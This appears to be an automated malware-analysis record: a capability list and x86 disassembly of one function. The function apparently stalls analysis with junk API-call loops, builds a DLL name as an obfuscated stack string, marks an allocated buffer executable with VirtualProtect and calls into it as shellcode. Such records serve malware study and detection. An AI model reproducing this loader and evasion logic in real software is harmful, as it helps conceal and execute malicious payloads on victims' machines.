Function at 0x41b3c0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x25c0
call fcn.00408d40
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e174
jge 0x41b3f6
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1d96
jle 0x41b410
cmp ebp, 0xc096a0
je 0x41b410
cmp dword [esp + 0x68], 0x95f3220
jne 0x41b419
inc esi
cmp esi, 0x98b86
jl 0x41b3e6
cmp dword [0x2272390], 0xcf8
jne 0x41b448
push 0
push 0
call fcn.00403090
push 0
push 0
call fcn.004030fd
push 0
call fcn.004036ac
add esp, 0x14
push 0
call fcn.00403526
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x41b473
mov eax, 0x5d1
add dword [0x2272390], eax
cmp dword [0x2272390], 3
jne 0x41b492
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x5d4]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41b460
mov ecx, dword [0x2272390]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x43e4f4], eax
mov eax, dword [0x2272390]
xor esi, esi
test eax, eax
je 0x41b560
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
cmp eax, 0xfe
jne 0x41b52f
push 0
call edi
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
lea eax, [esp + 0x5dc]
push eax
push edx
mov dword [esp + 0x28], edx
call ebp
push 0x402cbc
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
lea ecx, [esp + 0x30]
xor eax, eax
push ecx
lea edx, [esp + 0x60]
push edx
push 0x402cd8
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.0041b110
mov eax, dword [0x2272390]
cmp eax, 0x29
jne 0x41b557
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x2272390]
inc esi
cmp esi, eax
jb 0x41b4d0
cmp eax, 0x70
jne 0x41b605
push 0
lea eax, [esp + 0x5d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x402d8c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x402da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0xdd8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea eax, [esp + 0x1d4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x402dbc
push 0x402dd8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x2272390]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x41b658
push 0
lea ecx, [esp + 0x48]
push ecx
push 0
lea edx, [esp + 0x1dc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x2272390]
cmp eax, 0xdf
jne 0x41b833
push 0x402df8
push 0
push 0
call ebp
push 0
call ebx
xor ecx, ecx
lea eax, [esp + 0x48]
push eax
push ecx
push ecx
lea edx, [esp + 0x1dc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x402e14
push 0x402e28
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x4c]
push eax
call edi
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov edx, dword [esp + 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0xdd4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x402e48
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0x402e5c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x15d4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x402e78
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x11d4]
push ecx
push 0x402e90
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x1dd4]
push edx
push 0x402eb0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x5d4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x64]
push 0
push edx
mov dword [esp + 0x68], 0
call fcn.00407480
add esp, 0xc
push 0
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2272390]
dec dword [esp + 0x18]
jne 0x41b625
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
mov edi, edi
push 0
call edi
push 0
call ebx
dec esi
jne 0x41b850
mov edx, dword [0x2272390]
mov eax, dword [0x43e4f4]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
mov byte [0x439760], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041b370
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x41b890
cmp dword [0x2272390], 0xba
jne 0x41b8a9
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x41b8b6
call fcn.0041b0f0
inc esi
cmp esi, 0x1605a
jl 0x41b890
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov edi, 0xf2b8b
lea ebx, [ebx]
cmp dword [0x2272390], 0x21
jne 0x41b8e3
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x41b8d0
mov edx, 0x73
mov eax, 0x6d
mov word [0x22713a2], dx
mov word [0x22713a6], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x22713aa], cx
mov word [0x22713b6], ax
mov word [0x22713a8], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x22713a0
mov dword [0x22713b0], 0x6c0064
mov word [0x22713a4], ax
mov word [0x22713a0], cx
mov word [0x22713b4], dx
mov dword [0x22713ac], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2272390], 0xc30
jne 0x41b9d7
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push edi
lea edx, [esp + 0x20]
push edx
push edi
lea eax, [esp + 0x5dc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea ecx, [esp + 0x1dd4]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x34]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret